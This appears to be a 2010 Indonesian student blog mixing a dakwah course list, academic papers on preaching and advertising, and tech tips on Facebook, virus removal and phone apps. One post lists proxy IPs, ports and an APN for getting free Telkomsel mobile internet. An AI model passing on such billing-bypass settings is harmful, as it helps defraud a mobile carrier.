3	DAK.011	Statistik Sosial	2
4	DAK.016	Tafsir hadits Ijtima'i I	2
5	DAK.021	Jurnalistik	3
6	DAK.202	Sosiologi Komunikasi	2
7	DAK.203	Psikologi Komunikasi	2
8	DAK.212	AVA	3
9	DAK.215	Desain Grafis	2
		Jumlah	22

Semester 5 Jurusan Dakwah - KPI

No	Kode	Matakuliah	SKS
1	DAK.007	Psikologi Dakwah	2
2	DAK.008	Manajemen Dakwah	2
3	DAK.015	Fiqh Sosial	3
4	DAK.017	Tafsir Hadis Ijtima'i	2
5	KPI.008	Teknik Reportase	2
6	KPI.009	Teknik Editing	2
7	KPI.010	Teknik Writing	2
8	KPI.013	Teknik Advertising	3
9	Sti.017	Sejarah Kebudayaan Lokal	2
		Jumlah	20

Semester 6 Jurusan Dakwah - KPI

No	Kode	Matakuliah	SKS
1	DAK.009	Strategi Pengembangan Dakwah	2
2	DAK.010	Metodologi Penelitian Dakwah	3
3	DAK.019	Kewirausahaan	2
4	DAK.204	Komunikasi Antar Budaya	2
5	DAK.205	Komunikasi Politik	2
6	DAK.211	Teknik Penulisan Naskah	2
7	DAK.214	Fotografi	3
8	DAK.216	Desain Dakwah Multimedia	2
9	DAK.220	manajemen Penerbitan dan Percetakan	3
		Jumlah	20

Semester 7 Jurusan Dakwah - KPI

No	Kode	Matakuliah	SKS
1	DAK.006	Pemikiran Dakwah Kontemporer	2
2	DAK.018	Bahasa dan Budaya Jawa	2
3	DAK.006	Sistem Informasi Manajemen	3
4	DAK.007	Public Relation	2
5	DAK.017	Dramatologi dan Sinematografi	2
6	DAK.018	Manajemen & Praktek Produksi Siaran TV	2
7	DAK.019	Manajemen & Praktek Produksi Film	2
8	DAK.020	Riset Audiens	2
		Jumlah	19

Semester 4 Jurusan Dakwah - KPI

No	Kode	Matakuliah	SKS
1	DAK.020	Praktikum Jurusan / PPL	3
2	DAK.222	Skripsi	6
3	DAK.023	KKN	3
		Jumlah	12 Jumlah Total 155 SKS

Peran dai terhadap efektifitas dakwah

2010-06-19T05:06:00.000-07:00

PERAN DAI TERHADAP KEEFEKTIFAN DAKWAH

Makalah ini disusun guna memenuhi tugas terstruktur

Mata kuliah : Psikologi Komunikasi

Dosen pengampu : Enung Asmaya M.Ag

Disusun oleh :

Basirudin (032612022)

PROGRAM STUDI KOMUNIKASI DAN PENYIARAN ISLAM

JURUSAN DAKWAH

SEKOLH TINGGI AGAMA ISLAM NEGERI (STAIN)

PURWOKERTO

2010

BAB I
PENDAHULUAN

A. Latar belakang masalah.

Islam adalah agama dakwah yakni agama yang memerintahkan kepada pemeluknya untuk menyebarkan dan mensosialisasikan Islam ke tengah kehidupan masyarakat. Sehingga ajaran Islam benar-benar menyatu dalam kehidupan individu, keluarga dan masyarakat.
Aplikasi dakwah sebagai upaya sosialisasi ajaran Islam pada mulanya merupakan tugas Nabi Muhammad SAW, bahkan sebelum beliaupun telah banyak Nabi dan Rasul yang diutus untuk melaksanakan tugas yang sama. Sehingga dapat dikatakan bahwa dakwah adalah mata rantai yang menghubungkan suatu zaman dengan zaman berkutnya, karena masing-masing rasul telah melakukan tugas ini dengan cukup mengesankan.
Keberhasilan suatu dakwah tentunya tidak lepas dari unsur-unsur dari dakwah. Yaitu adanya dai, tujuan, materi, metode dan media. Namun dai adalah unsur utama yang mempengaruhi keberhasilan suatu dakwah. Karena dakwah sebagai proses komunikasi, maka peran komunikator atau dai sangat berpengaruh terhadap keberhasilan suatu dakwah.

B. Rumusan mdai dalam efektifitas dakwah.
asalah
1. Apa pengertian dakwah?
2. Apa cirri-ciri dakwah efektif?
3. Apa peran dai dalam efektifitas dakwah?

C. Tujuan
1. Untuk mengetahui apa arti dari dakwah.
2. Untuk mengetahui apa saja cirri-ciri dakwah yang efektif.
3. Untuk mengetahui apa saja peran

D. Metode Penelitian
Dalam penyusunan makalah ini menggunakan metode penelitian pustaka (library Research) yaitu dengan mengumpulkan data-data dari buku dan jurnal.

BAB II
PEMBAHASAN

A. Pengertian dakwah

Dakwah menurut pengertian bahasa (lughawi) berasal dari bahsa Arab: da’a, yad’u, da’watan yang berarti mengajak, memanggil dan menyeru. Orang yang melakukannya disebut dai. Namun secara terminologis bnayak pendapat tentang dakwah, Amrullah Ahmad mendefinisikan dakwah sebagai upaya mengajak manusia supaya masuk ke dalam jalan Allah secara menyeluruh (kaffah), baik dengan lisan, tulisan maupun perbuatan sebagai ikhtiar muslim mewujudkan Islam menjadi kenyataan kehidupan pribadi, usrah (kelompok), jama’ah dan ummah. Sementara itu, Muhammad Natsir memberikan pengertian dakwah sebagai usaha menyerukan dan menyampaikan kepada perorangan manusia dan seluruh umat tentang pandangan dan tujuan hidup manusia di dunia yang meliputi amar ma’ruf nahi munkar, dengan berbagai macam media dan cara yang diperbolehkan oleh akhlak, dan membimbing pengalamannya dalam perikehidupan perseorangan, berumah-tangga, bermasyarakat, dan bernegara.
Dakwah menurut Al-quran surat Al-Imran 104 :

104. Dan hendaklah ada di antara kamu segolongan umat yang menyeru kepada kebajikan, menyuruh kepada yang ma'ruf dan mencegah dari yang munkar[217]; merekalah orang-orang yang beruntung.
Dalam ayat tersebut dijelaskan bahwa dakwah adalah menyeru kepada kebajikan dengan menyuruh kepada yang ma’ruf dan mencegah dari hal yang munkar. Dan dari beberapa definisi diatas dapat diambil kesimpulan bahwa dakwah adalah proses kegiatan komunikasi untuk menyampaikan kebenaran dan mencegah kemungkaran dari seorang dai.

B. Unsur–unsur Dakwah
Keberhasilan dakwah akan terwujud dengan baik apabila unsur-unsur dakwah terpenuhi dengan baik. Adapun unsur-unsur dakwah tersebut antara lain:

1. Dai
Kata dai berasal dari bahasa Arab yang berarti orang yang mengajak. Menurut istilah dai adalah orang yang mengajak kepada orang lain baik secara langsung atau tidak langsung, melalui lisan, tulisan, ataupun perbuatan kearah kondisi lebih baik menurut ajaran Islam. Pada dasarnya dai memiliki tugas yang pokok yaitu meneruskan tugas rasul Muhammad saw, sebagai pewaris nabi yaitu menyampaikan ajaran Allah seperti yang termuat dalam Al-quran, dan jugamenyampaikan ajaran Rasul saw ( as-sunnah).

2. Tujuan dakwah
Tujuan ini dimaksudkan untuk memberi arah dan pedoman bagi gerak langkah kegiatan dakwah.

3. Materi dakwah
Pada dasarnya materi dakwah tergantung pada tujuan dakwah yang hendak dicapai. Namun secara global dapatlah dikatakan bahwa materi dapat diklasifikasikan menjadi tiga hal, yaitu masalah keimanan (aqidah), masalah keislaman (syariah), masalah budi pekerti (akhlaq al-karimah)

4. Metode dakwah
Pada hakikatnya metode adalah sebagai pelayan, jalan atau alat saja, tidak ada metode yang seratus persen baik. Prinsip-prinsip penggunaan metode dakwah harus dilakukan sesuai dengan laisan masyarakat yang menjadi objek dakwahnya (mad’u), yakni dengan al-hikmah, dengan nasihat (mauzizhah hasanah,) dan dengan debat yang argumentatif (mujadalah) sesuai dengan firman Allah dalam Al-Quran Surat An-Nahl 125:

125. serulah (manusia) kepada jalan Tuhan-mu dengan hikmah[845] dan pelajaran yang baik dan bantahlah mereka dengan cara yang baik.

5. Media dakwah
Yaitu segala sesuatu yang dapat dipergunakan sebagai alat untuk mencapai tujuan dakwah yang telah ditentukan. Diantara media dakwah adalah lembaga-lembaga pendidikan formal, lingkungan keluarga, organisasi Islam, media massa (radio, televisi, internet, surat kabar, dan majalah), dan seni budaya.

C. Peran dai dalam keefektifan dakwah
Dakwah disini kita pandang sebagi suatu proses komunikasi, maka efektifitas dakwah identik dengan efektifitas komunikasi. Komunikasi dikatakan efektif bila rangsangan yang disampaikan oleh komunikator (dai) dapat ditangkap dan difahami oleh penerima (mad’u). dalam hal teknisnya dakwah bisa berupa dakwah bi-lisan dan dakwah bi-hal, maka diperlukan keteladanan dai agar rangsangan tersebut bisa diterima baik secara bilogis maupun psikologis oleh mad’u. Model dakwah semacam ini dapat disebut dakwah persuasif.
Yang penting apa yang disampaikan kepada mad’u itu sesuai dengan cara berfikir dan cara merasa mereka, sehingga mad’u mengikuti kehendak dai tetapi merasa sedang mengikuti kehendak sendiri. Jika dakwah disampaikan secara persuasif, maka pasti komunikatif. Jika komunikatif maka pasti lebih efektif.

Efektifitas dakwah dapat ditandai dengan lima hal :
1. Melahirkan pengertian mad’u tentang pesan apa yang disampaikan dai.
2. Menimbulkan kesenangan.
3. Menimbulkan pengaruh pada sikap mad’u.
4. Menimbulkan hubungan yang semakin baik antara dai dan mad’u.
5. Menimbulkan tindakan.

Efektifitas dan keberhasilan proses komunikasi tidak bisa lepas dari kredibilitas komunikator dakwah (dai) dan kepiawaian mengemas pesan yang disampaikan. Karena itu peran dan pengaruh dai sangat besar.Dalam sebuah komunikasi, pesan yang diterima komunikan (mad’u) bukan hanya ditentukan oleh isi pesan saja, melainkan berbagai faktor, faktor tersebut yang terpenting adalah komunikator (dai, pembicara, penyampai, komunikator)-nya. Komunikator pada hakikatnya tidak hanya mengkomunikasikan sebuah pesan tetapi dirinya sendiri adalah pesan itu sendiri.
Setidaknya terdapat tiga faktor yang mempengaruhi efektifitas komunikator dalam menyampaikan pesan, yakni kredibilitas, atraksi, dan kekuasaan.

Kredibilitas Dai
Kredibilitas adalah hasil penilaian orang lain tentang diri pembicara, setelah mereka menerima informasi tentang pembicara baik secar langsung maupun tidak langsung. Kredibilitas tidak terletak pada diri pembicara melainkan pada persepsi khalayak (audiens) tentang pembicara. Karena kredibilitas merupakan hasil penilaian atau persepsi khalayak terhadap komunikator maka kredibilitas dapat dibentuk atau dibangun dan selalu berubah tergantung kepada pelaku persepsi (komunikan), topic yang dibahas dan situasi. Kredibilitas dapat dibangun dari pengamatan langsung terhadap komunikator juga dari informasi-informasi dari luar seperti teman, sahabat, orangtua, media massa, dan lain-lain.

Attraksi
Atraksi berasal dari bahasa latin attrahere, at berarti “menuju” dan trahere berarti “menarik”. Atraksi berarti sikap positif atau daya tarik komunikator. Dalam suatu proses komunikasi, daya tarik komunikator akan sangat mempengaruhi keberhasilan komunikasi. Semakin besar daya tarik yang dimiliki oleh komunikator, maka semakin besar kecenderungan orang untuk berkomunikasi dan terpengaruh.
Ada banyak faktor yang mempengaruhi daya tarik komunikator, baik yang bersifat personal maupun situasional. Faktor personal yang mempengaruhi daya tarik komunikator terdiri dari kesamaan karakteristik personal, tekanan emosional, harga diri yang rendah dan isolasi sosial. Adapun faktor situasional yang mempengaruhi dayatarik komunikator terdiri dari daya tarik fisik, ganjaran (reward), familiary, kedekatan (proximity) dan kemampuan (competence).

Kekuasaan
Yang dimaksud kekuasaan disini adalah kemampuan menimbulkan ketundukan. Ketundukan timbul dari interaksi antar komunikator dan audiens. Kekuasaan menyebabkan seorang komunikator dapat “memaksakan” kehendaknya kepada orang lain karena ia memiliki sumber daya yang sangat penting (critical resources). Menurut penelitian Frenc dan Raven, ada 5 jenis kekuasaan, yaitu; pertama, kekuasaan koersif (coersive power). Kekuasaan koersif menunjukkan kemampuan komunikator untuk mendatangkan ganjaran atau memberikan hukuman pada audiens. Kedua, kekuasaan keahlian (expert power). Kekuasaan ini berasal dari pengetahuan, pengalaman, ketrampilan atau kemampuan yang dimiliki komunikator. Ketiga, kekuasaan informasional (informational power). Kekuasaan ini berasal dari isi komunikasi tertentu atau pengetahuan baru yang dimiliki oleh komunikator. Keempat, kekuasaan rujukan (referent power). Di sini audiens menjadikan komunikator sebagai kerangka rujukan untuk menilai dirinya. Komunikator dikatakan memiliki kekuasaan rujukan bila ia berhasil menanamkan kekaguman kepada audiens sehingga seluruh perilakunya diteladani. Kelima, kekuasaan legal (legitimate power). Kekuasaan ini berasal dari seperangkat peraturan atau norma yang menyebabkan komunikator berwewenang untuk melakukan suatu tindakan .

BAB III
PENUTUP

Dakwah merupakan suatu kegiatan menyeru kebaikan dan mencegah pada yang mungkar. Hal ini tentu tidak lepas dari unsur-unsur dakwah itu sendiri yang menujang keberhasilan suatu dakwah. Selain dari isi pesan yang disampaikan dalam dakwah, peran dai juga sangat menentukan. Dakwah dikatakan efektif bila pesan yang disampaikan oleh dai dapat di terima atau dipahami oleh mad’u, menimbulkan kesenangan, menimbulkan perubahan sikap dan adanya tindakan dari mad’u.
Dakwah sebagai proses komunikasi untuk mengkomunikasikan suatu kebenaran dari seorang dai kepada mad’u. Setidaknya ada tiga faktor yang mempengaruhi keefektifan komunikator dalam dakwah yaitu kredibilitas, attraksi dan kekuasaan. Apabila faktor tersebut bisa dimiliki oleh seorang dai, maka akan tercipta dakwah yang komunikatif sehingga tujuan dakwah tercapai.

DAFTAR PUSTAKA

• Asmaya, Enung, Aa Gym dai sejuk dalam masyarakat majemuk, (Jakarta: Hikmah, 2003)
• Amrullah Ahmad (Ed.), Dakwah Islam dan Perubahan Sosial (Yogyakarta: Primadduta, 1993)
• Muhammad Natsir, Fiqhud Da’wah (Jakarta: Media Dakwah, 2000),
• Aliyudin, Dasar-dasar ilmu dakwah(Bandung: Fakultas dakwah USG, 2007)
• Rakhmat, Jalaluddin, Psikologi Komunikasi, (Bandung: Rosdakarya, 1998)
• http://groups.yahoo.com/group/daarut-tauhiid/message/27193

Konstruksi sosial dalam iklan axe

2010-06-18T09:51:00.000-07:00

Iklan Axe versi nomor Handphone

Sampai saat ini kita sebagai masyarakat terus menyaksikan sebuah “perlawanan” terhadap citra tradisional, perempuan sebagai sosok feminim, lembut, dan tidak agresif dihadapan lawan jenis. Melalui berbagai teks yang ada, seperti Novel Saman atau film Virgin, kita menyaksikan sebuah parade perlawanan terhadap konstruksi perempuan sebagai sosok yang feminim dan tidak agresif. Melalui teks semacam itu, konstruksi lama tentang perempuan dibalik dan diganti dengan konstruksi yang berbeda.

Tapi, teks-teks yang menggugat konstruksi lama tentang perempuan bukan hanya berupa karya sastra, lagu atau film. Iklan, sebagai salah satu teks yang mendominasi kehidupan kontemporer kita, juga ikut dalam arus pembalikan kontruksi tersebut. Salah satu teks iklan yang konsisten memberikan gambaran yang berbeda dengan citra perempuan sebagai sosok yang feminim dan tidak agresif adalah iklan Axe, sebuah produk parfum khusus pria.

Kalau dalam banyak iklan lain perempuan dikonstruksi sebagai sosok yang hampir selalu pasif dihadapan aki-laki, iklan Axe secara vulgar dan berlebihan menampilkan sosok perempuan yang agresif dihadapan laki-laki. Kalau kita mencermati berbagai versi iklan parfum tersebut, kita akan melihat sebuah pola yang hampir sama.

Dari dulu sampai sekarang, iklan Axe selalu menampilkan laki-laki dan perempuan sebagi tokohnya. Didalam iklan tersebut, laki-laki yang digambarkan sebagai pemakai produk Axe akan selalu mendapatkan simpati dari para perempuan cantik yang ditemuinya. Lebih dari itu, laki-laki dalam iklan Axe akan selalu menerima perlakuan agresif dan berlebihan dari para perempuan yang ditemuinya.

Perlakuan agresif yang diterima para lelaki dalam iklan Axe, menurut versi si pembuat iklan, adalah karena efek dari pemakaian produk Axe, atau dalam bahasa iklan tersebut: “The Axe Effect”.

Iklan Axe versi nomor handphone

Episode lampu merah

Dalam iklan ini, diceritakan seorang laki-laki yang mengendarai motor berhenti di lampu merah disebelah mobil seorang wanita cantik, tak sengaja ia menoleh dan mendapati si cewek begitu menggoda hingga ia terhanyut, tapi ternyata si cewek hanya menghembuskan uap ke kaca mobil dan menuliskan sederet nomor handphonenya.

Episode perpustakaan

Dalam iklan ini menceritakan seorang laki-laki yang pergi ke perpustakaan kemudian memperhatikan seorang wanita yang sedang kebingungan ( pura pura handphonenya hilang setelah menghirup parfum Axe) kemudian mengdatangi si laki-laki dan meminjam handphonenya untuk miscall. Ternyata, handphone (yang sudah diketahuinya) ada di saku belakangnya. Disini dia hanya ingin memberitahukan nomor handponenya untuk dihubungi.

Iklan versi nomor handphone ini bentuk agresifitas perempuan digambarkan hanya berupa pemberian nomor handphone secara genit terhadap laki-laki tak dikenal dengan isyarat agar sang laki-laki menghubungi setelah pertemuan itu. Sedangkan laki-laki bertindak pasif dalam hal ini. Tindakan pemberian nomor handphone bagi seorang perempuan tanpa diminta pada orang tak dikenal memang sebuah tindakan yang tak biasa jika kita bandingkan dengan kondisi sehari-hari.

Di dalam iklan Axe, citra yang ingin dihasilkan dari explotasi agresifitas perempuan adalah citra tentang Axe sebagai “produk penakluk perempuan”. Bahwa laki-laki di Indonesia akan merasa sangat bangga jika mereka berhasil mendapatkan nomor telepon seorang gadis. Dan untuk mendapatkan nomor handphone bagi laki laki adalah harus aktif, jika laki-laki memakai Axe maka mereka tidak perlu aktif si wanita yang akan mendekat dan meberikan nomor handphonenya.

Logo STAIN PURWOKERTO

2010-06-15T23:29:00.000-07:00

Arti lambang STAIN PURWOKERTO :

a. Bentuk lambang adalah garis lengkung membentuk lima sudut, melambangkan sila-sila dari Pancasila;

b. Dua bulu angsa yang pangkalnya berbentuk pena, melambangkan keilmuan;

c. Konfigurasi kubah masjid yang dibentuk oleh lengkungan bulu angsa dan pita melambangkan keislaman;

d. Kitab al-Qur’an yang terbuka melambangkan dasar keilmuan Islam;

e. Garis 17 pada pita, garis 8 pada kitab al-Qur’an dan garis 45 pada kedua belah bulu angsa melambangkan hari kemerdekaan Indonesia;

f. Tiga simpul pada pangkal bulu angsa melambangka kesatuan iman, islam dan ihsan;

g. Warna dasar hijau melambangkan kedamaian dan warna kuning pada garis lengkung melambangkan kemuliaan dan kebesaran jiwa, dan

h. Tulisan STAIN PURWOKERTO menunjukan kedudukan nama dan tempat.

seumber : STAIN PURWOKERTO

Update status Facebook dgn bahasa asing

2010-06-11T04:30:00.000-07:00

Update dengan bahasa asing, Arab Jepang Kanji dan yang lainnya di facebook. Kelihatan keren kali ya.. wuih hebat bisa bahasa apa aja..

Sebenarnya gampang banget untuk meng update atau mengartikan update-an dengan bahasa asing..

Google translate kuncinya..

Sebuah layanan terjemahan bahasa dari eyang Google, yang sekarang ini sudah terdapat 42 bahasa yang bisa diterjemahkan satu sama lainnya.

Menghilangkan iklan di Facebook

2010-06-11T04:05:00.000-07:00

Bagi anda yang sering ber-Facebook ria tentu sudah tidak asing lagi, saat anda melihat-lihat profile sendiri maupun profile orang lain, pasti anda akan disajikan jajaran iklan yang tepat berada di sisi sebelah kanan. Yang lebih mengesalkan di Facebook tidak ada setting untuk mendisable iklan-iklan tersebut, hingga andapun terpaksa harus terus menerus melihat iklan-iklan tersebut secara berulang-ulang. Bahkan yang lebih parah lagi, bila koneksi internet anda lemot kehadiran iklan-iklan ini menambah lemot proses loading Facebook anda.

Iklan-iklan yang ada di Facebook merupakan sumber pemasukan utama bagi Facebook sendiri, dan tentunya Facebook tidak akan suka bila kemudian anda menghilangkan iklan-iklan tersebut. Tapi, jika anda merasa bahwa kehadiran dan keberadaan iklan-iklan tersebut sudah sangat mengganggu kenyamanan anda dalam ber-facebook ria, tidak ada jalan selain meremove atau menghilangkan iklan-iklan tersebut meskipun itu hanya dari komputer anda saja.

Ada banyak Facebook Code yang bisa anda pakai untuk menghilangkan iklan-iklan Facebook, satu yang terbaik adalah Facebook Code “Remove All Facebook Ads” yang dibuat oleh Tidalwav. Cukup anda instal Remove All Facebook Ads, di komputer anda maka andapun akan terbebas dari iklan-iklan yang ada di Facebook dan kini andapun bisa lebih cepat mengakses Facebook karena ketidakhadiran iklan-iklan tersebut.

Sebelum menginstal code Remove All Facebook Ads, jangan lupa pastikan di komputer anda telah terinstal Add-On GreaseMonkey, yaitu Add-on yang memungkinkan kita menginstal script-script sehingga kelakuan Firefox bisa kita sesuaikan dengan keinginan kita.

Setelah sukses menginstall maka di menu add-on akan tampil. jangan lupa di restart firefoxnya agar add-on bisa berfungsi.

Untuk memulai menginstal code Remove All Facebook Ads, silahkan arahkan browser anda ke Instal Remove All Facebook Ads, setelah itu anda klik tombol INSTAL seperti yang terlihat pada gambar di bawah ini.

Tampilan sesudah dan sebelum di instal :

Selamat mencoba...

internet gratis telkomsel juni 2010

2010-06-06T00:23:00.000-07:00

Apn: telkomsel2

proxy:
174.129.219.95
174.129.220.253
174.129.221.2
174.129.242.253

221.132.192.27
202.150.217.76

smua pake port: 80

Cara setting internet gratis telkomsel via handPhone:
1. Masuk ke Pengaturan sambungan
2. Bikin sambungan baru, namain terserah misal gratisan
3. isi APN dengan : telkomsel2. username sama pasword kosongin aja
4. pilih pengaturan lanjutan, masukkan proxy

Download Cara setting internet gratis telkomsel via handPhone

Cara seting internet gratis telkomsel di komputer :
Mozila: Tools - option - advanted - network - setting - manual proxy configuration
Internet Explorer : Tools - Internet options - Connections - Proxy server
Opera : Tools - Preferences - Advanted - Networks - Proxy servers

Download Cara seting internet gratis telkomsel di komputer

Selamat mencoba

Trik Hapus Virus Conime.exe

2010-06-04T06:02:00.000-07:00

Pusing.. Baru aja konek internet tiba2 putus.. gak bisa konek lagi.. Kompi mintanya di restart.. haduh scvhost erorr.. ternyata kena virus.. dah di install ulang masih ada juga.. dua hari ga nyaman dengan koneksi internet..

Jangan sampai pengalamanku menimpa kalian yach.. ciri2 terkena virus conime adalah layar tampilan menjadi windows clasic trus kembali lagi disertai dengan disconnect internet.. virus ini juga menyababkan LAN tidak konek..

Virus ini biasanya dari koneksi internet dimana website yang kita buka terdapat script yang menyebabkan virus masuk ke kompi kita. Sekarang kompiku dah aman setelah di pasang antivirus Avast yang bisa scan ip juga otomatis update yang tidak berat.

Berikut ini bagi yang belum bisa ini sedikit triknya:

Prosesnya dalah seperti ini, kita akan kill proses virus yang sedang berjalan di kompi kita karena tidak terlihat di task manager, kita gunakan program c4xhpezv, karna kalau hanya pake smadav nanti muncul lagi. Setelah itu bersihkan dengan smadav dan hilangkan yang ada di registry.

1. Download c4xhpezv di : disini

Save pada directory yang mudah diingat (buatkan juga foldernya)

2. Download smadav disini

Save menjadi satu folder yang sama dengan file yang tadi (biar gampang nyarinya aja)

3. Double klik (jalankan) icon GMER (c4xhpezv.exe) tunggu sesaat apabila ada file (alamat) di list yangberwarna merah hapus dengan cara klik kanan kemudia pilih kill proses. Setelah selesai exit program

4. Jalankan smadav yang sudah di install, ceklist drive semua drive pada pc anda. Kemudian klik tombol scan

Tunggu hingga selesai. Kemudian klik tombol fix all. Setelah selesai exit program

5. Sekarang saatnya kita bersihkan virus conime yang masih tersisa. Yang gampangnya dari Register editor aja.

Klik start kemudian arahkan pointer ke run Kemudian ketikkan regedit lalu klik ok.

pada menu pilih edit - find (Ctrl+f pada keyboard anda secara bersamaan).

Dan ketikan conime. lalu klik tombol find next, delet semua temuan yang ada (yang terblok tulisannya menjadi biru).

Kemudian tekan tombol find next ( F3 ), lalu delet temuan yang ada. Lakukan hingga selesai higga ada tulisan finish.

Rahasia Chatting Lebih Gampang dan Nyaman di Facebook Dgn Windows Yang Lebar

2010-06-03T11:35:00.000-07:00

Kalau kamu biasanya sering mangkal alias nongkrong di Facebook seharian dan biasanya tidak cuman memposting update di Wall Post atau hanya mengomentarin postingan orang, dan kamu juga dapat menghabiskan waktu sering chatting dengan teman-teman di friendlistmu di Facebook, mungkin ini adalah rahasia untuk lebih gampang chatting dengan teman-temanmu.

Saya akan berikan sebuah link yang juga “rahasia” untuk chatting dengan windows browser yang lebih lebar tanpa harus install software apapun, dan yang lebih ok adalah kamu tetap keep logged in di Facebook. Artinya untuk penggemar Facebook yang gemar chat di Facebook, ini adalah cara paling ampuh untuk berconference one on one dengan teman-temanmu. Untuk mengetahui rahasia Facebook ini, silahkan kunjungi URL :

http://www.facebook.com/presence/popout.php

Lihat screenshot di bawah ini, Facebook tampak seperti instant messenger saja. Rasakan kenyamanan ini.

Login Dari Yahoo atau GMail, Masuk Ke Akun Facebook Waktu Bersamaan

2010-06-03T11:33:00.000-07:00

Sebuah fitur yg cukup kreatif dibikin untuk kemudahan baik pengguna Yahoo dan Google / GMail yg mempunyai akun juga di Facebook. Jika anda jeli dan sering mengutak-atik akun di Facebook, pasti menemukan sebuah label yg bertajuk Linked Accounts. Section Linked Accounts ini bermanfaat untuk sharing akun antara berbagai akun terkenal di antaranya adalah Yahoo dan Google / GMail.

Jadi,misalnya ketika kita melakukan login ke Yahoo untuk membaca email ataupun mengakses GMail, pada waktu bersamaan, secara otomatis, Facebook kita juga dibuat online. Jadi cukup login ke Yahoo ataupun login dari GMail, maka kita sudah masuk ke facebook. Tidak akan ditampilkan lagi welcome screen yang scriptnya sangat berat untuk diloading. Penghematan waktu dan bandwidth sangat terasa di sini.

Untuk mengaktifkan fitur ini sangat sederhana dan singkat, login dulu ke Facebook secara normal. Setelah itu, pilih menu Settings, lalu Account Settings, maka anda akan temukan Linked Accounts, nah pilih mana akun yg biasa anda sering login. Tersedia MySpace, Vidoop, OpenID, Google, Yahoo, VeriSign PIP dan MyOpenID.

Setelah itu, maka akan terbuka jendela baru yg mengarahkan browser ke akun yg anda pilih untuk memberikan hak akses dan authority. Setelah kita izinkan, maka di lain waktu, ketika kita login ke GMail, Facebook kita juga telah online dan teman2mu bisa langsung chat dengan kita.

Aplikasi handphone ngrim sms tulisan terbalik

2010-06-03T10:25:00.000-07:00

Aplikasi usil ini cocok bagi yg senang mengerjai teman, ya, sekedar iseng-iseng, bagi pemakai hp java, tool kecil ini akan membuat kebingungan para penerima SMS atau pesan pendek dari kamu. Setidaknya mereka harus membalikkan handphone mereka agar bisa membaca pesan pendek dari kamu.

R-BUD SMS, nama tool ini, akan mengconvert isi SMS kamu dari huruf normal jadi pesan pendek terbalik secara gratis, tapi dengan syarat, hp temanmu juga harus punya fitur java.
Nah, kirimin sekarang juga dan bikin puyeng mereka, mereka mungkin ngira hp mereka kena virus ataupun kena hack.

Silahkan download free R-BUD SMS dalam format JAR yang tidak lebih dari 100kb di storage ponsel utk ngirim SMS dengan huruf terbalik.

free hack hp via R-BUD SMS

Aplikasi chat facebook - chit chat

2010-06-03T09:57:00.000-07:00

ChitChat adalah salah satu aplikasi chat untuk facebook tapi tidak perlu login ke Facebook melalui web. Aplikasi desktop ini akan memudahkan kita untuk melakukan chat dengan teman-teman Facebook tanpa perlu login ke Facebook dari browser. Sebagaimana kita tau, script yg dipakai Facebook terlalu berat untuk user sehingga membuat kita frustasi, apalagi yang tinggal di Indonesia.

Setelah terinstal ke ChitChat, sebuah jendela akan terbuka yang berisi list contact anda yang berada di Facebook. Tampilannya mungkin sedikit mirip dengan Yahoo Messenger. Siapa yang lagi active / online akan nampak dan kamu tinggal menyahut mereka. ChitChat juga akan dapat memberikan notifikasi jika ada pesan masuk dari teman-temanmu di Facebook.

Dengan ukuran yang sangat kecil, yakni hanya memakan 1,3 MB diskspace, ChitChat akan memungkinkan kita untuk terus keep in touch dengan teman-teman Facebook tanpa harus frustasi login / akses / buka langsung dari browser.

Selain program yg bernama ChitChat ini, terdapat juga beberapa pesaingnya yang juga menawarkan kemudahan yang mirip, Digsby dan Pidgin adalah kompetitor terdekat ChitChat. Untuk yang ingin menggunakan browser chatting (tanpa login ke Facebook secara langsung) juga, Meebo sudah lama telah mengadopsi fitur chat ke Facebook selain YM, MSN, AOL dan ICQ.

Silahkan download.

Profesi Dai

2010-06-02T04:08:00.000-07:00

PENDAHULUAN

Islam merupakan agama yang berisi dengan petunjuk-petunjuk agar manusia secara individual menjadi manusia yang baik, beradab dan berkualitas, selalu berbuat baik sehingga mampu membangun sebuah peradaban yang maju, sebuah tatanan kehidupan yang manusiawi dalam arti kehidupan yang adil, maju bebas dari berbagai ancaman penindasan, dan berbagai kekhawatiran. Agar mencapai yang diinginkan tersebut diperlukan apa yang dinamakan sebagai dakwah. Karena dengan masuknya islam dalam sejarah umat manusia, agama ini mencoba meyakinkan umat manusia tentang kebenarannya dan menyeru manusia agar menjadi penganutnya.

Profesi merupakan pekerjaan yang memtuhkan pendidikan dan pelatihan, butuh pengetahuan khusus untuk itu. Sedangkan dakwah bias dilakukan siapa saja. Bahkan wajib bagi setiap muslim. Dakwah bisa dikatakan sebuah profesi dan apa unsur-unsur yang bias menjadikan dakwah itu sebuah profesi.

PEMBAHASAN

DAKWAH

Ditinjau dari segi bahasa, dakwah berasal dari bahasa Arab dakwah dan kata da’a yad’u yang berarti panggilan, ajakan, seruan. Dakwah dengan pengertian tersebut dapat dijumpai dalam ayat-ayat Al-Quran antara lain :

33. Yusuf berkata: "Wahai Tuhanku, penjara lebih aku sukai daripada memenuhi ajakan mereka kepadaku.."

Secara terminologi, para ahli berbeda-beda dalam memberikan pengertian mengenai dakwah, antara lain adalah:
- Dakwah adalah perintah mengadakan seruan kepada sesama manusia untuk kembali dan hidup sepanjang ajaran Allah yang benar dengan penuh kebijaksanaan dan nasihat yang baik.
- Dakwah adalah menyeru manusia kepada kebajikan dan petunjuk serta menyuruh kepada kebajikan dan melarang kemungkaran agar mendapat kebahagiaan dunia dan akhirat. (Syekh Muhammad Al-Khadir Husain) .
- Dakwah adalah menyampaikan dan mengajarkan agama Islam kepada seluruh manusia dan mempraktikkannya dalam kehidupan nyata (M. Abul Fath al-Bayanuni).
- Dakwah adalah suatu aktifitas yang mendorong manusia memeluk agama Islam melalui cara yang bijaksana, dengan materi ajaran Islam, agar mereka mendapatkan kesejahteraan kini (dunia) dan kebahagiaan nanti (akhirat) (A. Masykur Amin)

Dari defenisi para ahli di atas maka bisa kita simpulkan bahwa dakwah adalah kegiatan atau usaha memanggil orang muslim mau pun non-muslim, dengan cara bijaksana, kepada Islam sebagai jalan yang benar, melalui penyampaian ajaran Islam untuk dipraktekkan dalam kehidupan nyata agar bisa hidup damai di dunia dan bahagia di akhirat. Singkatnya, dakwah, adalah mengajak kepada agama Allah, yaitu Islam.

Hakikat dakwah berdasarkan al-Quran dapat dijumpai dalam surat An-nahl :125

125. serulah (manusia) kepada jalan Tuhan-mu dengan hikmah[845] dan pelajaran yang baik dan bantahlah mereka dengan cara yang baik. Sesungguhnya Tuhanmu Dialah yang lebih mengetahui tentang siapa yang tersesat dari jalan-Nya dan Dialah yang lebih mengetahui orang-orang yang mendapat petunjuk.

